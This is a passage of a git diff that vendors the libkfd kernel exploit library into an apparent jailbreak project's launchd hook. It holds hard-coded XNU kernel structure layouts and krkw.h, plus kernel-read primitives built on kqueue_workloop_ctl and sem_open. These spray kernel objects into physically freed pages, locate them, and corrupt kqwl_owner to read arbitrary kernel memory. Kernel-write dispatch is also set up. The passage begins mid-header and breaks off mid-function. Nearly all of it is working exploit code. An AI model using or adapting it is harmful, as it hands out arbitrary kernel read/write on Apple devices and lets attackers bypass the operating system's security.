0x0000000fffffffffull +#define ARM_16K_TT_L1_SHIFT 36 +#define ARM_16K_TT_L1_INDEX_MASK 0x00007ff000000000ull + +#define ARM_16K_TT_L2_SIZE 0x0000000002000000ull +#define ARM_16K_TT_L2_OFFMASK 0x0000000001ffffffull +#define ARM_16K_TT_L2_SHIFT 25 +#define ARM_16K_TT_L2_INDEX_MASK 0x0000000ffe000000ull + +#define ARM_16K_TT_L3_SIZE 0x0000000000004000ull +#define ARM_16K_TT_L3_OFFMASK 0x0000000000003fffull +#define ARM_16K_TT_L3_SHIFT 14 +#define ARM_16K_TT_L3_INDEX_MASK 0x0000000001ffc000ull + +/* + * osfmk/arm/pmap/pmap_pt_geometry.h + */ + +#define PMAP_TT_L0_LEVEL 0x0 +#define PMAP_TT_L1_LEVEL 0x1 +#define PMAP_TT_L2_LEVEL 0x2 +#define PMAP_TT_L3_LEVEL 0x3 + +/* + * osfmk/kern/bits.h + */ + +#define BIT(b) (1ULL << (b)) + +/* + * osfmk/arm/machine_routines.h + */ + +#define ONES(x) (BIT((x))-1) +#define PTR_MASK ONES(64-T1SZ_BOOT) +#define PAC_MASK (~PTR_MASK) +#define SIGN(p) ((p) & BIT(55)) +#define UNSIGN_PTR(p) (SIGN(p) ? ((p) | PAC_MASK) : ((p) & ~PAC_MASK)) + +/* + * osfmk/kern/kalloc.h + */ + +#define KHEAP_MAX_SIZE (32ull * 1024ull) + +/* + * osfmk/ipc/ipc_init.c + */ + +const vm_size_t msg_ool_size_small = KHEAP_MAX_SIZE; + +/* + * osfmk/vm/vm_map_store.h + */ + +struct vm_map_store { + struct { + u64 rbe_left; + u64 rbe_right; + u64 rbe_parent; + } entry; +}; + +struct vm_map_links { + u64 prev; + u64 next; + u64 start; + u64 end; +}; + +struct vm_map_header { + struct vm_map_links links; + i32 nentries; + u16 page_shift; + u16 + entries_pageable:1, + __padding:15; + struct { + u64 rbh_root; + } rb_head_store; +}; + +/* + * osfmk/vm/vm_map.h + */ + +struct vm_map_entry { + struct vm_map_links links; + struct vm_map_store store; + union { + u64 vme_object_value; + struct { + u64 vme_atomic:1; + u64 is_sub_map:1; + u64 vme_submap:60; + }; + struct { + u32 vme_ctx_atomic:1; + u32 vme_ctx_is_sub_map:1; + u32 vme_context:30; + u32 vme_object; + }; + }; + u64 + vme_alias:12, + vme_offset:52, + is_shared:1, + __unused1:1, + in_transition:1, + needs_wakeup:1, + behavior:2, + needs_copy:1, + protection:3, + used_for_tpro:1, + max_protection:4, + inheritance:2, + use_pmap:1, + no_cache:1, + vme_permanent:1, + superpage_size:1, + map_aligned:1, + zero_wired_pages:1, + used_for_jit:1, + pmap_cs_associated:1, + iokit_acct:1, + vme_resilient_codesign:1, + vme_resilient_media:1, + __unused2:1, + vme_no_copy_on_read:1, + translated_allow_execute:1, + vme_kernel_object:1; + u16 wired_count; + u16 user_wired_count; +}; + +struct _vm_map { + u64 lock[2]; + struct vm_map_header hdr; + u64 pmap; + u64 size; + u64 size_limit; + u64 data_limit; + u64 user_wire_limit; + u64 user_wire_size; +#if TARGET_MACOS + u64 vmmap_high_start; +#else /* TARGET_MACOS */ + u64 user_range[4]; +#endif /* TARGET_MACOS */ + union { + u64 vmu1_highest_entry_end; + u64 vmu1_lowest_unnestable_start; + } vmu1; + u64 hint; + union { + u64 vmmap_hole_hint; + u64 vmmap_corpse_footprint; + } vmmap_u_1; + union { + u64 _first_free; + u64 _holes; + } f_s; + u32 map_refcnt; + u32 + wait_for_space:1, + wiring_required:1, + no_zero_fill:1, + mapped_in_other_pmaps:1, + switch_protect:1, + disable_vmentry_reuse:1, + map_disallow_data_exec:1, + holelistenabled:1, + is_nested_map:1, + map_disallow_new_exec:1, + jit_entry_exists:1, + has_corpse_footprint:1, + terminated:1, + is_alien:1, + cs_enforcement:1, + cs_debugged:1, + reserved_regions:1, + single_jit:1, + never_faults:1, + uses_user_ranges:1, + pad:12; + u32 timestamp; +}; + +/* + * osfmk/arm/pmap/pmap.h + */ + +struct pmap { + u64 tte; + u64 ttep; + u64 min; + u64 max; + u64 pmap_pt_attr; + u64 ledger; + u64 rwlock[2]; + struct { + u64 next; + u64 prev; + } pmaps; + u64 tt_entry_free; + u64 nested_pmap; + u64 nested_region_addr; + u64 nested_region_size; + u64 nested_region_true_start; + u64 nested_region_true_end; + u64 nested_region_asid_bitmap; + u32 nested_region_asid_bitmap_size; + u64 reserved0; + u64 reserved1; + u64 reserved2; + u64 reserved3; + i32 ref_count; + i32 nested_count; + u32 nested_no_bounds_refcnt; + u16 hw_asid; + u8 sw_asid; + bool reserved4; + bool pmap_vm_map_cs_enforced; + bool reserved5; + u32 reserved6; + u8 reserved7; + u8 type; + bool reserved8; + bool reserved9; + bool is_rosetta; + bool nx_enabled; + bool is_64bit; + bool nested_has_no_bounds_ref; + bool nested_bounds_set; + bool disable_jop; + bool reserved11; +}; + +/* + * bsd/kern/kern_guarded.c + */ + +#define GUARD_REQUIRED (1u << 1) + +/* + * bsd/sys/file_internal.h + */ + +struct fileproc_guard { + u64 fpg_wset; + u64 fpg_guard; +}; + +struct fileproc { + u32 fp_iocount; + u32 fp_vflags; + u16 fp_flags; + u16 fp_guard_attrs; + u64 fp_glob; + union { + u64 fp_wset; + u64 fp_guard; + }; +}; + +typedef enum { + DTYPE_VNODE = 1, + DTYPE_SOCKET, + DTYPE_PSXSHM, + DTYPE_PSXSEM, + DTYPE_KQUEUE, + DTYPE_PIPE, + DTYPE_FSEVENTS, + DTYPE_ATALK, + DTYPE_NETPOLICY, + DTYPE_CHANNEL, + DTYPE_NEXUS +} file_type_t; + +struct fileops { + file_type_t fo_type; + void* fo_read; + void* fo_write; + void* fo_ioctl; + void* fo_select; + void* fo_close; + void* fo_kqfilter; + void* fo_drain; +}; + +struct fileglob { + struct { + u64 le_next; + u64 le_prev; + } f_msglist; + u32 fg_flag; + u32 fg_count; + u32 fg_msgcount; + i32 fg_lflags; + u64 fg_cred; + u64 fg_ops; + i64 fg_offset; + u64 fg_data; + u64 fg_vn_data; + u64 fg_lock[2]; +}; + +/* + * bsd/sys/perfmon_private.h + */ + +struct perfmon_layout { + u16 pl_counter_count; + u16 pl_fixed_offset; + u16 pl_fixed_count; + u16 pl_unit_count; + u16 pl_reg_count; + u16 pl_attr_count; +}; + +typedef char perfmon_name_t[16]; + +struct perfmon_event { + char pe_name[32]; + u64 pe_number; + u16 pe_counter; +}; + +struct perfmon_attr { + perfmon_name_t pa_name; + u64 pa_value; +}; + +struct perfmon_spec { + struct perfmon_event* ps_events; + struct perfmon_attr* ps_attrs; + u16 ps_event_count; + u16 ps_attr_count; +}; + +enum perfmon_ioctl { + PERFMON_CTL_ADD_EVENT = _IOWR('P', 5, struct perfmon_event), + PERFMON_CTL_SPECIFY = _IOWR('P', 10, struct perfmon_spec), +}; + +/* + * osfmk/kern/perfmon.h + */ + +enum perfmon_kind { + perfmon_cpmu, + perfmon_upmu, + perfmon_kind_max, +}; + +struct perfmon_source { + const char* ps_name; + const perfmon_name_t* ps_register_names; + const perfmon_name_t* ps_attribute_names; + struct perfmon_layout ps_layout; + enum perfmon_kind ps_kind; + bool ps_supported; +}; + +#define PERFMON_SPEC_MAX_ATTR_COUNT (32) + +/* + * osfmk/machine/machine_perfmon.h + */ + +struct perfmon_counter { + u64 pc_number; +}; + +struct perfmon_config { + struct perfmon_source* pc_source; + struct perfmon_spec pc_spec; + u16 pc_attr_ids[PERFMON_SPEC_MAX_ATTR_COUNT]; + struct perfmon_counter* pc_counters; + u64 pc_counters_used; + u64 pc_attrs_used; + bool pc_configured:1; +}; + +/* + * bsd/dev/dev_perfmon.c + */ + +struct perfmon_device { + void* pmdv_copyout_buf; + u64 pmdv_mutex[2]; + struct perfmon_config* pmdv_config; + bool pmdv_allocated; +}; + +/* + * bsd/pthread/workqueue_syscalls.h + */ + +#define KQ_WORKLOOP_CREATE 0x01 +#define KQ_WORKLOOP_DESTROY 0x02 + +#define KQ_WORKLOOP_CREATE_SCHED_PRI 0x01 +#define KQ_WORKLOOP_CREATE_SCHED_POL 0x02 +#define KQ_WORKLOOP_CREATE_CPU_PERCENT 0x04 + +struct kqueue_workloop_params { + i32 kqwlp_version; + i32 kqwlp_flags; + u64 kqwlp_id; + i32 kqwlp_sched_pri; + i32 kqwlp_sched_pol; + i32 kqwlp_cpu_percent; + i32 kqwlp_cpu_refillms; +} __attribute__((packed)); + +/* + * bsd/pthread/workqueue_internal.h + */ + +struct workq_threadreq_s { + union { + u64 tr_entry[3]; + u64 tr_link[1]; + u64 tr_thread; + }; + u16 tr_count; + u8 tr_flags; + u8 tr_state; + u8 tr_qos; + u8 tr_kq_override_index; + u8 tr_kq_qos_index; +}; + +/* + * bsd/sys/event.h + */ + +struct kqtailq { + u64 tqh_first; + u64 tqh_last; +}; + +/* + * bsd/sys/eventvar.h + */ + +__options_decl(kq_state_t, u16, { + KQ_SLEEP = 0x0002, + KQ_PROCWAIT = 0x0004, + KQ_KEV32 = 0x0008, + KQ_KEV64 = 0x0010, + KQ_KEV_QOS = 0x0020, + KQ_WORKQ = 0x0040, + KQ_WORKLOOP = 0x0080, + KQ_PROCESSING = 0x0100, + KQ_DRAIN = 0x0200, + KQ_DYNAMIC = 0x0800, + KQ_R2K_ARMED = 0x1000, + KQ_HAS_TURNSTILE = 0x2000, +}); + +struct kqueue { + u64 kq_lock[2]; + kq_state_t kq_state; + u16 kq_level; + u32 kq_count; + u64 kq_p; + u64 kq_knlocks[1]; +}; + +struct kqworkloop { + struct kqueue kqwl_kqueue; + struct kqtailq kqwl_queue[6]; + struct kqtailq kqwl_suppressed; + struct workq_threadreq_s kqwl_request; + u64 kqwl_preadopt_tg; + u64 kqwl_statelock[2]; + u64 kqwl_owner; + u32 kqwl_retains; + u8 kqwl_wakeup_qos; + u8 kqwl_iotier_override; + u16 kqwl_preadopt_tg_needs_redrive; + u64 kqwl_turnstile; + u64 kqwl_dynamicid; + u64 kqwl_params; + u64 kqwl_hashlink[2]; +}; + +/* + * bsd/kern/posix_sem.c + */ + +struct pseminfo { + u32 psem_flags; + u32 psem_usecount; + u16 psem_mode; + u32 psem_uid; + u32 psem_gid; + char psem_name[32]; + u64 psem_semobject; + u64 psem_label; + i32 psem_creator_pid; + u64 psem_creator_uniqueid; +}; + +struct psemnode { + u64 pinfo; + u64 padding; +}; + +/* + * osfmk/kern/sync_sema.h + */ + +struct semaphore { + struct { + u64 next; + u64 prev; + } task_link; + char waitq[24]; + u64 owner; + u64 port; + u32 ref_count; + i32 count; +}; + +/* + * bsd/sys/vnode_internal.h + */ + +struct vnode { + u64 v_lock[2]; + u64 v_freelist[2]; + u64 v_mntvnodes[2]; + u64 v_ncchildren[2]; + u64 v_nclinks[1]; + u64 v_defer_reclaimlist; + u32 v_listflag; + u32 v_flag; + u16 v_lflag; + u8 v_iterblkflags; + u8 v_references; + i32 v_kusecount; + i32 v_usecount; + i32 v_iocount; + u64 v_owner; + u16 v_type; + u16 v_tag; + u32 v_id; + union { + u64 vu_mountedhere; + u64 vu_socket; + u64 vu_specinfo; + u64 vu_fifoinfo; + u64 vu_ubcinfo; + } v_un; + // ... +}; + +/* + * bsd/miscfs/specfs/specdev.h + */ + +struct specinfo { + u64 si_hashchain; + u64 si_specnext; + i64 si_flags; + i32 si_rdev; + i32 si_opencount; + i32 si_size; + i64 si_lastr; + u64 si_devsize; + u8 si_initted; + u8 si_throttleable; + u16 si_isssd; + u32 si_devbsdunit; + u64 si_throttle_mask; +}; + +/* + * bsd/sys/proc_info.h + */ + +#define PROC_INFO_CALL_LISTPIDS 0x1 +#define PROC_INFO_CALL_PIDINFO 0x2 +#define PROC_INFO_CALL_PIDFDINFO 0x3 +#define PROC_INFO_CALL_KERNMSGBUF 0x4 +#define PROC_INFO_CALL_SETCONTROL 0x5 +#define PROC_INFO_CALL_PIDFILEPORTINFO 0x6 +#define PROC_INFO_CALL_TERMINATE 0x7 +#define PROC_INFO_CALL_DIRTYCONTROL 0x8 +#define PROC_INFO_CALL_PIDRUSAGE 0x9 +#define PROC_INFO_CALL_PIDORIGINATORINFO 0xa +#define PROC_INFO_CALL_LISTCOALITIONS 0xb +#define PROC_INFO_CALL_CANUSEFGHW 0xc +#define PROC_INFO_CALL_PIDDYNKQUEUEINFO 0xd +#define PROC_INFO_CALL_UDATA_INFO 0xe +#define PROC_INFO_CALL_SET_DYLD_IMAGES 0xf +#define PROC_INFO_CALL_TERMINATE_RSR 0x10 + +struct vinfo_stat { + u32 vst_dev; + u16 vst_mode; + u16 vst_nlink; + u64 vst_ino; + u32 vst_uid; + u32 vst_gid; + i64 vst_atime; + i64 vst_atimensec; + i64 vst_mtime; + i64 vst_mtimensec; + i64 vst_ctime; + i64 vst_ctimensec; + i64 vst_birthtime; + i64 vst_birthtimensec; + i64 vst_size; + i64 vst_blocks; + i32 vst_blksize; + u32 vst_flags; + u32 vst_gen; + u32 vst_rdev; + i64 vst_qspare[2]; +}; + +#define PROC_PIDFDVNODEINFO 1 +#define PROC_PIDFDVNODEPATHINFO 2 +#define PROC_PIDFDSOCKETINFO 3 +#define PROC_PIDFDPSEMINFO 4 +#define PROC_PIDFDPSHMINFO 5 +#define PROC_PIDFDPIPEINFO 6 +#define PROC_PIDFDKQUEUEINFO 7 +#define PROC_PIDFDATALKINFO 8 +#define PROC_PIDFDKQUEUE_EXTINFO 9 +#define PROC_PIDFDCHANNELINFO 10 + +struct proc_fileinfo { + u32 fi_openflags; + u32 fi_status; + i64 fi_offset; + i32 fi_type; + u32 fi_guardflags; +}; + +struct psem_info { + struct vinfo_stat psem_stat; + char psem_name[1024]; +}; + +struct psem_fdinfo { + struct proc_fileinfo pfi; + struct psem_info pseminfo; +}; + +#define PROC_PIDDYNKQUEUE_INFO 0 +#define PROC_PIDDYNKQUEUE_EXTINFO 1 + +struct kqueue_info { + struct vinfo_stat kq_stat; + u32 kq_state; + u32 rfu_1; +}; + +struct kqueue_dyninfo { + struct kqueue_info kqdi_info; + u64 kqdi_servicer; + u64 kqdi_owner; + u32 kqdi_sync_waiters; + u8 kqdi_sync_waiter_qos; + u8 kqdi_async_qos; + u16 kqdi_request_state; + u8 kqdi_events_qos; + u8 kqdi_pri; + u8 kqdi_pol; + u8 kqdi_cpupercent; + u8 _kqdi_reserved0[4]; + u64 _kqdi_reserved1[4]; +}; + +#endif /* static_info_h */ \ No newline at end of file diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw.h new file mode 100644 index 00000000..d537e621 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw.h @@ -0,0 +1,266 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef krkw_h +#define krkw_h + +#define kread_from_method(type, method) \ + do { \ + volatile type* type_base = (volatile type*)(uaddr); \ + u64 type_size = ((size) / (sizeof(type))); \ + for (u64 type_offset = 0; type_offset < type_size; type_offset++) { \ + type type_value = method(kfd, kaddr + (type_offset * sizeof(type))); \ + type_base[type_offset] = type_value; \ + } \ + } while (0) + +#include "krkw/kread/kread_kqueue_workloop_ctl.h" +#include "krkw/kread/kread_sem_open.h" + +#define kwrite_from_method(type, method) \ + do { \ + volatile type* type_base = (volatile type*)(uaddr); \ + u64 type_size = ((size) / (sizeof(type))); \ + for (u64 type_offset = 0; type_offset < type_size; type_offset++) { \ + type type_value = type_base[type_offset]; \ + method(kfd, kaddr + (type_offset * sizeof(type)), type_value); \ + } \ + } while (0) + +#include "krkw/kwrite/kwrite_dup.h" +#include "krkw/kwrite/kwrite_sem_open.h" + +// Forward declarations for helper functions. +void krkw_helper_init(struct kfd* kfd, struct krkw* krkw); +int krkw_helper_grab_free_pages(struct kfd* kfd); +void krkw_helper_run_allocate(struct kfd* kfd, struct krkw* krkw); +void krkw_helper_run_deallocate(struct kfd* kfd, struct krkw* krkw); +void krkw_helper_free(struct kfd* kfd, struct krkw* krkw); + +#define kread_method_case(method) \ + case method: { \ + const char* method_name = #method; \ + print_string(method_name); \ + kfd->kread.krkw_method_ops.init = method##_init; \ + kfd->kread.krkw_method_ops.allocate = method##_allocate; \ + kfd->kread.krkw_method_ops.search = method##_search; \ + kfd->kread.krkw_method_ops.kread = method##_kread; \ + kfd->kread.krkw_method_ops.kwrite = NULL; \ + kfd->kread.krkw_method_ops.find_proc = method##_find_proc; \ + kfd->kread.krkw_method_ops.deallocate = method##_deallocate; \ + kfd->kread.krkw_method_ops.free = method##_free; \ + break; \ + } + +#define kwrite_method_case(method) \ + case method: { \ + const char* method_name = #method; \ + print_string(method_name); \ + kfd->kwrite.krkw_method_ops.init = method##_init; \ + kfd->kwrite.krkw_method_ops.allocate = method##_allocate; \ + kfd->kwrite.krkw_method_ops.search = method##_search; \ + kfd->kwrite.krkw_method_ops.kread = NULL; \ + kfd->kwrite.krkw_method_ops.kwrite = method##_kwrite; \ + kfd->kwrite.krkw_method_ops.find_proc = method##_find_proc; \ + kfd->kwrite.krkw_method_ops.deallocate = method##_deallocate; \ + kfd->kwrite.krkw_method_ops.free = method##_free; \ + break; \ + } + +void krkw_init(struct kfd* kfd, u64 kread_method, u64 kwrite_method) +{ + if (!kern_versions[kfd->info.env.vid].kread_kqueue_workloop_ctl_supported) { + assert(kread_method != kread_kqueue_workloop_ctl); + } + + if (kread_method == kread_sem_open) { + assert(kwrite_method == kwrite_sem_open); + } + + switch (kread_method) { + kread_method_case(kread_kqueue_workloop_ctl) + kread_method_case(kread_sem_open) + } + + switch (kwrite_method) { + kwrite_method_case(kwrite_dup) + kwrite_method_case(kwrite_sem_open) + } + + krkw_helper_init(kfd, &kfd->kread); + krkw_helper_init(kfd, &kfd->kwrite); +} + +int krkw_run(struct kfd* kfd) +{ + if(krkw_helper_grab_free_pages(kfd)) + return -1; + + timer_start(); + krkw_helper_run_allocate(kfd, &kfd->kread); + krkw_helper_run_allocate(kfd, &kfd->kwrite); + krkw_helper_run_deallocate(kfd, &kfd->kread); + krkw_helper_run_deallocate(kfd, &kfd->kwrite); + timer_end(); + + return 0; +} + +void krkw_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size) +{ + kfd->kread.krkw_method_ops.kread(kfd, kaddr, uaddr, size); +} + +void krkw_kwrite(struct kfd* kfd, void* uaddr, u64 kaddr, u64 size) +{ + kfd->kwrite.krkw_method_ops.kwrite(kfd, uaddr, kaddr, size); +} + +void krkw_free(struct kfd* kfd) +{ + krkw_helper_free(kfd, &kfd->kread); + krkw_helper_free(kfd, &kfd->kwrite); +} + +/* + * Helper krkw functions. + */ + +void krkw_helper_init(struct kfd* kfd, struct krkw* krkw) +{ + krkw->krkw_method_ops.init(kfd); +} + +int krkw_helper_grab_free_pages(struct kfd* kfd) +{ + timer_start(); + + const u64 copy_pages = (kfd->info.copy.size / pages(1)); + const u64 grabbed_puaf_pages_goal = (kfd->puaf.number_of_puaf_pages / 4); + const u64 grabbed_free_pages_max = 400000; + + for (u64 grabbed_free_pages = copy_pages; grabbed_free_pages < grabbed_free_pages_max; grabbed_free_pages += copy_pages) { + assert_mach(vm_copy(mach_task_self(), kfd->info.copy.src_uaddr, kfd->info.copy.size, kfd->info.copy.dst_uaddr)); + + u64 grabbed_puaf_pages = 0; + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i]; + if (!memcmp(info_copy_sentinel, (void*)(puaf_page_uaddr), info_copy_sentinel_size)) { + if (++grabbed_puaf_pages == grabbed_puaf_pages_goal) { + print_u64(grabbed_free_pages); + timer_end(); + return 0; + } + } + } + } + + print_warning("failed to grab free pages goal"); + return -1; +} + +void krkw_helper_run_allocate(struct kfd* kfd, struct krkw* krkw) +{ + timer_start(); + const u64 batch_size = (pages(1) / krkw->krkw_object_size); + + while (true) { + /* + * Spray a batch of objects, but stop if the maximum id has been reached. + */ + bool maximum_reached = false; + + for (u64 i = 0; i < batch_size; i++) { + if (krkw->krkw_allocated_id == krkw->krkw_maximum_id) { + maximum_reached = true; + break; + } + + krkw->krkw_method_ops.allocate(kfd, krkw->krkw_allocated_id); + krkw->krkw_allocated_id++; + } + + /* + * Search the puaf pages for the last batch of objects. + * + * Note that we make the following assumptions: + * - All objects have a 64-bit alignment. + * - All objects can be found within 1/16th of a page. + * - All objects have a size smaller than 15/16th of a page. + */ + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i]; + u64 stop_uaddr = puaf_page_uaddr + (pages(1) / 16); + for (u64 object_uaddr = puaf_page_uaddr; object_uaddr < stop_uaddr; object_uaddr += sizeof(u64)) { + if (krkw->krkw_method_ops.search(kfd, object_uaddr)) { + krkw->krkw_searched_id = krkw->krkw_object_id; + krkw->krkw_object_uaddr = object_uaddr; + goto loop_break; + } + } + } + + krkw->krkw_searched_id = krkw->krkw_allocated_id; + + if (maximum_reached) { +loop_break: + break; + } + } + + timer_end(); + const char* krkw_type = (krkw->krkw_method_ops.kread) ? "kread" : "kwrite"; + + if (!krkw->krkw_object_uaddr) { + for (u64 i = 0; i < kfd->puaf.number_of_puaf_pages; i++) { + u64 puaf_page_uaddr = kfd->puaf.puaf_pages_uaddr[i]; + print_buffer(puaf_page_uaddr, 64); + } + + assert_false(krkw_type); + } + + print_message( + "%s ---> object_id = %llu, object_uaddr = 0x%016llx, object_size = %llu, allocated_id = %llu/%llu, batch_size = %llu", + krkw_type, + krkw->krkw_object_id, + krkw->krkw_object_uaddr, + krkw->krkw_object_size, + krkw->krkw_allocated_id, + krkw->krkw_maximum_id, + batch_size + ); + + print_buffer(krkw->krkw_object_uaddr, krkw->krkw_object_size); + + if (!kfd->info.kaddr.current_proc) { + krkw->krkw_method_ops.find_proc(kfd); + } +} + +void krkw_helper_run_deallocate(struct kfd* kfd, struct krkw* krkw) +{ + timer_start(); + + for (u64 id = 0; id < krkw->krkw_allocated_id; id++) { + if (id == krkw->krkw_object_id) { + continue; + } + + krkw->krkw_method_ops.deallocate(kfd, id); + } + + timer_end(); +} + +void krkw_helper_free(struct kfd* kfd, struct krkw* krkw) +{ + krkw->krkw_method_ops.free(kfd); + + if (krkw->krkw_method_data) { + bzero_free(krkw->krkw_method_data, krkw->krkw_method_data_size); + } +} + +#endif /* krkw_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h new file mode 100644 index 00000000..ac0334b1 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_kqueue_workloop_ctl.h @@ -0,0 +1,108 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef kread_kqueue_workloop_ctl_h +#define kread_kqueue_workloop_ctl_h + +const u64 kread_kqueue_workloop_ctl_sentinel = 0x1122334455667788; + +u64 kread_kqueue_workloop_ctl_kread_u64(struct kfd* kfd, u64 kaddr); + +void kread_kqueue_workloop_ctl_init(struct kfd* kfd) +{ + kfd->kread.krkw_maximum_id = 100000; + kfd->kread.krkw_object_size = sizeof(struct kqworkloop); +} + +void kread_kqueue_workloop_ctl_allocate(struct kfd* kfd, u64 id) +{ + struct kqueue_workloop_params params = { + .kqwlp_version = (i32)(sizeof(params)), + .kqwlp_flags = KQ_WORKLOOP_CREATE_SCHED_PRI, + .kqwlp_id = id + kread_kqueue_workloop_ctl_sentinel, + .kqwlp_sched_pri = 1, + }; + + u64 cmd = KQ_WORKLOOP_CREATE; + u64 options = 0; + u64 addr = (u64)(¶ms); + usize sz = (usize)(params.kqwlp_version); + assert_bsd(syscall(SYS_kqueue_workloop_ctl, cmd, options, addr, sz)); +} + +bool kread_kqueue_workloop_ctl_search(struct kfd* kfd, u64 object_uaddr) +{ + volatile struct kqworkloop* kqwl = (volatile struct kqworkloop*)(object_uaddr); + u64 sentinel_min = kread_kqueue_workloop_ctl_sentinel; + u64 sentinel_max = sentinel_min + kfd->kread.krkw_allocated_id; + + u16 kqwl_state = kqwl->kqwl_kqueue.kq_state; + u64 kqwl_dynamicid = kqwl->kqwl_dynamicid; + + if ((kqwl_state == (KQ_KEV_QOS | KQ_WORKLOOP | KQ_DYNAMIC)) && + (kqwl_dynamicid >= sentinel_min) && + (kqwl_dynamicid < sentinel_max)) { + u64 object_id = kqwl_dynamicid - sentinel_min; + kfd->kread.krkw_object_id = object_id; + return true; + } + + return false; +} + +void kread_kqueue_workloop_ctl_kread(struct kfd* kfd, u64 kaddr, void* uaddr, u64 size) +{ + kread_from_method(u64, kread_kqueue_workloop_ctl_kread_u64); +} + +void kread_kqueue_workloop_ctl_find_proc(struct kfd* kfd) +{ + volatile struct kqworkloop* kqwl = (volatile struct kqworkloop*)(kfd->kread.krkw_object_uaddr); + kfd->info.kaddr.current_proc = kqwl->kqwl_kqueue.kq_p; +} + +void kread_kqueue_workloop_ctl_deallocate(struct kfd* kfd, u64 id) +{ + struct kqueue_workloop_params params = { + .kqwlp_version = (i32)(sizeof(params)), + .kqwlp_id = id + kread_kqueue_workloop_ctl_sentinel, + }; + + u64 cmd = KQ_WORKLOOP_DESTROY; + u64 options = 0; + u64 addr = (u64)(¶ms); + usize sz = (usize)(params.kqwlp_version); + assert_bsd(syscall(SYS_kqueue_workloop_ctl, cmd, options, addr, sz)); +} + +void kread_kqueue_workloop_ctl_free(struct kfd* kfd) +{ + kread_kqueue_workloop_ctl_deallocate(kfd, kfd->kread.krkw_object_id); +} + +/* + * 64-bit kread function. + */ + +u64 kread_kqueue_workloop_ctl_kread_u64(struct kfd* kfd, u64 kaddr) +{ + volatile struct kqworkloop* kqwl = (volatile struct kqworkloop*)(kfd->kread.krkw_object_uaddr); + u64 old_kqwl_owner = kqwl->kqwl_owner; + u64 new_kqwl_owner = kaddr - dynamic_info(thread__thread_id); + kqwl->kqwl_owner = new_kqwl_owner; + + struct kqueue_dyninfo data = {}; + i32 callnum = PROC_INFO_CALL_PIDDYNKQUEUEINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = PROC_PIDDYNKQUEUE_INFO; + u64 arg = kfd->kread.krkw_object_id + kread_kqueue_workloop_ctl_sentinel; + u64 buffer = (u64)(&data); + i32 buffersize = (i32)(sizeof(struct kqueue_dyninfo)); + assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); + + kqwl->kqwl_owner = old_kqwl_owner; + return data.kqdi_owner; +} + +#endif /* kread_kqueue_workloop_ctl_h */ diff --git a/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_sem_open.h b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_sem_open.h new file mode 100644 index 00000000..04a12874 --- /dev/null +++ b/RootHelperSample/launchdshim/launchdhook/libkfd/krkw/kread/kread_sem_open.h @@ -0,0 +1,253 @@ +/* + * Copyright (c) 2023 Félix Poulin-Bélanger. All rights reserved. + */ + +#ifndef kread_sem_open_h +#define kread_sem_open_h + +#include "../../../fun/kpf/libdimentio.h" +#include "../../../fun/kpf/patchfinder.h" + +const char* kread_sem_open_name = "kfd-posix-semaphore"; + +u64 kread_sem_open_kread_u64(struct kfd* kfd, u64 kaddr); +u32 kread_sem_open_kread_u32(struct kfd* kfd, u64 kaddr); + +void kread_sem_open_init(struct kfd* kfd) +{ + kfd->kread.krkw_maximum_id = kfd->info.env.maxfilesperproc - 100; + kfd->kread.krkw_object_size = sizeof(struct psemnode); + + kfd->kread.krkw_method_data_size = ((kfd->kread.krkw_maximum_id + 1) * (sizeof(i32))) + sizeof(struct psem_fdinfo); + kfd->kread.krkw_method_data = malloc_bzero(kfd->kread.krkw_method_data_size); + + sem_unlink(kread_sem_open_name); + i32 sem_fd = (i32)(usize)(sem_open(kread_sem_open_name, (O_CREAT | O_EXCL), (S_IRUSR | S_IWUSR), 0)); + assert(sem_fd > 0); + + i32* fds = (i32*)(kfd->kread.krkw_method_data); + fds[kfd->kread.krkw_maximum_id] = sem_fd; + + struct psem_fdinfo* sem_data = (struct psem_fdinfo*)(&fds[kfd->kread.krkw_maximum_id + 1]); + i32 callnum = PROC_INFO_CALL_PIDFDINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = PROC_PIDFDPSEMINFO; + u64 arg = sem_fd; + u64 buffer = (u64)(sem_data); + i32 buffersize = (i32)(sizeof(struct psem_fdinfo)); + assert(syscall(SYS_proc_info, callnum, pid, flavor, arg, buffer, buffersize) == buffersize); +} + +void kread_sem_open_allocate(struct kfd* kfd, u64 id) +{ + i32 fd = (i32)(usize)(sem_open(kread_sem_open_name, 0, 0, 0)); + assert(fd > 0); + + i32* fds = (i32*)(kfd->kread.krkw_method_data); + fds[id] = fd; +} + +bool kread_sem_open_search(struct kfd* kfd, u64 object_uaddr) +{ + volatile struct psemnode* pnode = (volatile struct psemnode*)(object_uaddr); + i32* fds = (i32*)(kfd->kread.krkw_method_data); + struct psem_fdinfo* sem_data = (struct psem_fdinfo*)(&fds[kfd->kread.krkw_maximum_id + 1]); + + if ((pnode[0].pinfo > PAC_MASK) && + (pnode[1].pinfo == pnode[0].pinfo) && + (pnode[2].pinfo == pnode[0].pinfo) && + (pnode[3].pinfo == pnode[0].pinfo) && + (pnode[0].padding == 0) && + (pnode[1].padding == 0) && + (pnode[2].padding == 0) && + (pnode[3].padding == 0)) { + for (u64 object_id = kfd->kread.krkw_searched_id; object_id < kfd->kread.krkw_allocated_id; object_id++) { + struct psem_fdinfo data = {}; + i32 callnum = PROC_INFO_CALL_PIDFDINFO; + i32 pid = kfd->info.env.pid; + u32 flavor = 